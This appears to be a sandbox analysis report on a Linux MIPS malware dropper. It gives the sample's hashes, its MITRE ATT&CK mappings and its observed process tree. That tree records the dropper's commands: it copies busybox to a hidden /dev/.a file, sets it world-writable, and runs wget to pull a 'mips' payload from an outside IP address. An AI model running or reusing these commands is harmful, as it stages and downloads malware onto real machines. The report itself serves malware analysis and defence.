a9ea4b0e673068a9c8222db51de183b56fc1ed10838a0dd6f530cffe0037c52c

Analysis

max time kernel
142s
max time network
144s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
10/09/2026, 19:43

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General

Target
jaffacakes118_a9ea4b0e673068a9c8222db51de183b56fc1ed10838a0dd6f530cffe0037c52c.bin
Size 1KB
Sample260910-yfhevavfpe
SHA256 a9ea4b0e673068a9c8222db51de183b56fc1ed10838a0dd6f530cffe0037c52c
MD5 3498b3d8022179a6c872d2228120411f
SHA1 14d81f7cd3c78ab3d15ed06823319fdbe2434e3b
SHA512 26ffe01e4c63ec869268a31f7fd335681392e100ffb19dc16bfeb8f7dc2f37c4677edddffb4083501e47e18a5ef67076405ad79b33d053eb55968360b4bdfea5
TLSH
T12B4197EAA8A16F735D81EF0870230F1D600FA5C656910BADDF6E2C39FEBC90E7014645
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
727	chmod

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/mounts	cat
File opened for reading	/proc/filesystems	cp

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
731	wget

/tmp/jaffacakes118_a9ea4b0e673068a9c8222db51de183b56fc1ed10838a0dd6f530cffe0037c52c.bin
/tmp/jaffacakes118_a9ea4b0e673068a9c8222db51de183b56fc1ed10838a0dd6f530cffe0037c52c.bin
1⤵
PID:713
- /bin/grep
  grep rw
  2⤵
  PID:718
- /bin/grep
  grep -v noexe
  2⤵
  PID:719
- /bin/grep
  grep tmpfs
  2⤵
  PID:717
- /bin/cat
  cat /proc/mounts
  2⤵
  - Reads runtime system information
  PID:716
- /usr/bin/cut
  cut -d " " -f 2
  2⤵
  PID:720
- /bin/cp
  cp /bin/busybox //dev/.a
  2⤵
  - Reads runtime system information
  PID:723
- /bin/chmod
  chmod 777 //dev/.a
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /bin/rm
  rm -rf .a
  2⤵
  PID:729
- /usr/bin/wget
  wget http://23.132.164.16/mips
  2⤵
  - System Network Configuration Discovery
  PID:731

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

Path /dev/.a
Size 857KB
SHA256 3180df117342646dcdc4c436f95b41e15587e2238ec59064b4b06c065d56cf38
MD5 a39fe8036e559ce804e26518061e59ff
SHA1 8df27f6e8a48b762d945ea2f2b87390c80acd4de
SHA512 e97756f316fceef7360e789362648529eea50eb6f7cc56cf654b3fc43ca61f0e4d9f366ed8fd59b73dd5a49615e935e9f53686d15f9a83c7fa472a70e7196d0d
SSDEEP 24576:pr1OolvjQkUQbkX5gLLatgVMmFSO4XS9PBdi:pZOolbQ4kXILatgfKS9PBE
TLSH
T12F154B5337218F1CF361D17004B3CE666AB652922BF68689927CF5203B90F6D641FFA9
MD5 SHA1 SHA512 SSDEEP TLSH

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